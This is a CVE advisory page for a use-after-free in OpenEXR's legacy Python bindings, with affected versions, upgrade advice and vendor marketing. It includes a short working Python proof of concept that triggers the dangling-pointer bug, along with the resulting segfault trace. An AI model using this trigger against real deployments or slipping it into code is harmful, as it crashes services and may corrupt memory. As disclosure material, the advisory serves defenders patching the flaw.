CVE-2025-64183

CVE-2025-64183 is a medium-severity use after free vulnerability in OpenEXR (pip), affecting versions >= 3.2.0, < 3.2.5. It is fixed in 3.2.5, 3.3.6, 3.4.3.

Summary

There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.

This bug was found with ZeroPath.

Details

The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286

PoC

import OpenEXR, Imath

# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"

# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
    def __new__(cls, v):
        return int.__new__(cls, v)
    def __del__(self):
        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug
        _ = bytearray(1_000_000)

class PixelTypeProxy:
    @property
    def v(self):
        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine

f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")

running

PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

About to trigger UAF...
Fatal Python error: Segmentation fault

Current thread 0x00000001f209a140 (most recent call first):
  File "/private/tmp/i/pt.py", line 24 in <module>

Current thread's C stack trace (most recent call first):
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
  Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
  Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
  Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
  Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]

Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

Impact

Completely depends on the context. Typical memory stuff related to UAFs.

Memory is accessed after it has been freed, leading to undefined behavior in native code. Typical impact: memory corruption, crash, or potential code execution.

CVE-2025-64183 has a CVSS score of 7.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.2.5, 3.3.6, 3.4.3); upgrading removes the vulnerable code path.

Affected versions

OpenEXR (>= 3.2.0, < 3.2.5) OpenEXR (>= 3.3.0, < 3.3.6) OpenEXR (>= 3.4.0, < 3.4.3)

Security releases

OpenEXR → 3.2.5 (pip) OpenEXR → 3.3.6 (pip) OpenEXR → 3.4.3 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade the following packages to resolve this vulnerability:

OpenEXR to 3.2.5 or later; OpenEXR to 3.3.6 or later; OpenEXR to 3.4.3 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-64183? CVE-2025-64183 is a medium-severity use after free vulnerability in OpenEXR (pip), affecting versions >= 3.2.0, < 3.2.5. It is fixed in 3.2.5, 3.3.6, 3.4.3. Memory is accessed after it has been freed, leading to undefined behavior in native code.
  2. How severe is CVE-2025-64183? CVE-2025-64183 has a CVSS score of 7.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of OpenEXR are affected by CVE-2025-64183? OpenEXR (pip) versions >= 3.2.0, < 3.2.5 is affected.
  4. Is there a fix for CVE-2025-64183? Yes. CVE-2025-64183 is fixed in 3.2.5, 3.3.6, 3.4.3. Upgrade to this version or later.
  5. Is CVE-2025-64183 exploitable, and should I be worried? Whether CVE-2025-64183 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-64183 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-64183?
    • Upgrade OpenEXR to 3.2.5 or later
    • Upgrade OpenEXR to 3.3.6 or later
    • Upgrade OpenEXR to 3.4.3 or later

Other vulnerabilities in OpenEXR

CVE-2026-34589CVE-2026-34588CVE-2026-26981CVE-2025-64182CVE-2025-64181

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